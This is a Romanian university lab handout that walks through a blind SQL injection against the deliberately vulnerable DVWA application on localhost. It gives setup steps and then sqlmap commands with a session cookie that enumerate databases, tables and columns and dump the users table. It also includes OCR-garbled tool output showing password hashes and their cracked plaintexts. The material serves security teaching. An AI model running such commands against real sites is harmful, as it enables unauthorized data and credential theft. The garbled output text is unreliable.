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[bookmark: _Toc5372]Definiție  
Blind SQL Injection este o altă tehnică de exploatare a vulnerabilităților de tip SQL Injection folosită pentru obținerea de informații dintr-o bază de date, într-un mod neautorizat, atunci când aplicația web nu afișează erori în pagină datorită setărilor făcute de developer. Acestă metodă poate fi folosită și atunci când nu sunt afișate nici un fel de informații din setul de date returnat de baza de date. 
[bookmark: _Toc5373]Demonstrație atac SQL Injection (Blind) 
În laboratorul nr.4 se va exemplifica un atac de tipul SQL Injection (BLIND) asupra aplicației pe care am învățat să o instalăm în laboratorul nr.1 (Damn Vulnerable Web Application – DVWA).   
 
[bookmark: _Toc5374]Aplicații utilizate 
· Damn Vulnerable Web Application – (aplicația asupra căreia se va realiza atacul) 
· Pentest (instalat la primul laborator) 
· FireFox (Browser) link download: https://www.mozilla.org/ro/firefox/new/ 
· Extensia TamperData pentru FireFox: 
· SQL Map ( utilitar pe care îl găsim în Pentest Box) 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
[bookmark: _Toc5375]Configurare aplicații  
 
· Pasul 1. Pornim modulele Apache și MySQL din XAMPP (necesare aplicației DVWA). 
[image: ] 
 
 
 
 
· Pasul 2. Ne conectăm la aplicația DVWA cu următoarele credențiale 
	Username: admin 	 
	Password: password  	 
[image: ] 
 
 
 
· Pasul 3.  Din tabul din stânga selectăm DVWA Security 
[image: ] 
· Pasul 4. Selectăm Security Level pe nivelul Low și apăsăm butonul Submit 
 
 
 
 
· Pasul 5. Instalare  Tamer Data o https://addons.mozilla.org/ro/firefox/addon/tamper-data-for-ff-quantum/ 
[image: ] 
o Apăsăm butonul Adaugă în FireFox o Va aparea în coltul din dreapta sus un nor 
[image: ] 
· Pasul 6. Accesăm aplicația DVWA la categoria SQL Injection (BLIND) 
http://localhost/dvwa/vulnerabilities/sqli_blind/ 
[image: ] 
 
 
 
· Pasul 7. Pornim aplicația Tamper Data  
[image: ] 
 
 
 
 
 
[bookmark: _Toc5376]Realizare atac SQL Injection (Blind) 
 
· Pasul 1. În căsuța de dialog introducem cifra 2 și va fi afișat următorul mesaj, apăsăm tasta OK 
[image: ] 
 
 
 
· Pasul 2. Deschidem aplicația PentestBox și tastăm sqlmap 
[image: ] 
 
 
 
· Pasul 3. Pentru afișarea bazelor de date tastăm următoarea comandă 
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit" --cookie 
"security=low; PHPSESSID=kt1cvnj6cv9s59g4hd4s915j7k" –dbs 
[image: ] 
o aceasta date au fost colectate cu TamperData  
[image: ]  
· Pasul 4. Au fost identificate următoarele baze de date 
[image: ] 
 
 
 
· Pasul 5. Pentru extragerea tabelelor din dvwa scriem următoarea comandă: sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit" --cookie 
"security=low; PHPSESSID=kt1cvnj6cv9s59g4hd4s915j7k" -D dvwa –tables 
 	Au fost identificate 2 tabele: 
[image: ] 
· Pasul 6. Pentru extragerea coloanelor din tabela users, scriem următoarea comandă: 
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit" --cookie "security=low; PHPSESSID=kt1cvnj6cv9s59g4hd4s915j7k" -T users –columns Au fost identificate 8 coloane: 
[image: ] 
· Pasul 7. Pentru aflarea credențialelor tastăm următoarea comandă 
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit" --cookie 
"security=low; PHPSESSID=kt1cvnj6cv9s59g4hd4s915j7k" -T users –dump 
[image: ] 
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[*] test

[63:26:67] [WARNING] HTTP error codes detected during run
464 (Not Found) - 154 times

[63:26:67] [INFO] fetched data logged to text files under 'C:\Users\vaio\.sqlmap\output\localhost

C:\Users\vaio\Desktop
>
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[63:41:22] [INFO] the back-end DBHS is MySQL
web application technology: Apache 2.4.41, PHP 7.1.32
back-end DBHS: MySQL 5.0
[63:41:22] [INFO] fetching tables for database: 'dvwa
[63:41:22] [INFO] the SOL query used returns 2 entries
[63:41:22] [INFO] retrieved: guestbook
[63:41:22] [INFO] retrieved: users
Database: dvwa
[2 tables]
+ +
| guestbook |
| users |
+

[63:41:23] [WARNING] HTTP error codes detected during run
464 (Not Found) - 3 times

[63:41:23] [INFO] fetched data logged to text files under 'C:\Users\vaio\.sqlmap\output\localhost
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[03:45:33] [INFO] retrieved: last login
3] [INFO] retrieved: timestamp
3] [INFO] retrieved: failed_login
[63:45:33] [INFO] retrieved: int(3)
Database: dvwa

Table: users

[8 columns]

+= +
| Column | Type 1
+ +
| user | varchar(15)

| avatar | varchar(70)

| failed login | int(3)

| first_name | varchar(1s)

| last_Togin | timestamp

| last_name | varchar(1s)

| passuord | varchar(32)

| user_id | int(6)

+ +

[63:45:33] [WARNING] HTTP error codes detected during run
484 (Not Found) - 18 times
[e 3] [INFO] fetched data logged to text files under

Users\vaio\.sqlmap\output\localhost"
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Database: dvwa
Table: users
[5 entries]
+ -+

| user_id | avatar | user | password | last_name | first_name | last_login | failed login
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| a | /hackable/users/pablo.jpg | pablo | @d1e7desfsbbesocadeddesc7iedechy (letmein) | Picasso | Pablo | 2019-10-06 1 8 | o
Is | /hackable/users/smithy.jpg | smithy | Sfadcc3bsaa7esde1ds327debss2cfog (password) | Smith | Bob | 2019-10-06 14:28:08 | @
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DVWA Security »

Security Level

Security levelis currently: impossible

You can set the security level to low, medium, high or impossible. The security level changes the vulnerabilty
level of DVWA

1. Low - This security level is completely vulnerable and has no security measures at all. Is use is to be
as an example of how web application vulnerabilties manifest through bad coding practices and to serve
as a platform to teach or leam basic exploitation techniques

2. Medium - This setting is mainly to give an example to the user of bad security practices, where the
developer has tried but failed to secure an application. It also acts as a challenge to users to refine their
exploitation techniques

3. High - This option is an extension to the medium diffculty, with a mixture of harder or alternative bad
practices to attempt to secure the code. The vulnerabity may not allow the same extent of the

tion, similar in various Capture The Flags (CTFs) competitions

le - This level should be secure against all vulnerabilities. It is used to compare the vulnerable

source code to the secure source code

Prior to DVWA v1.9, this level was known s "high’

Era—
PHPIDS
PHPIDS v0 6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications

PHPIDS works by fitering any user supplied input against a blacklist of potentially malicious code. Itis used in
DVWA to serve as a live example of how Web Application Firewalls (WAFs) can help improve security and in





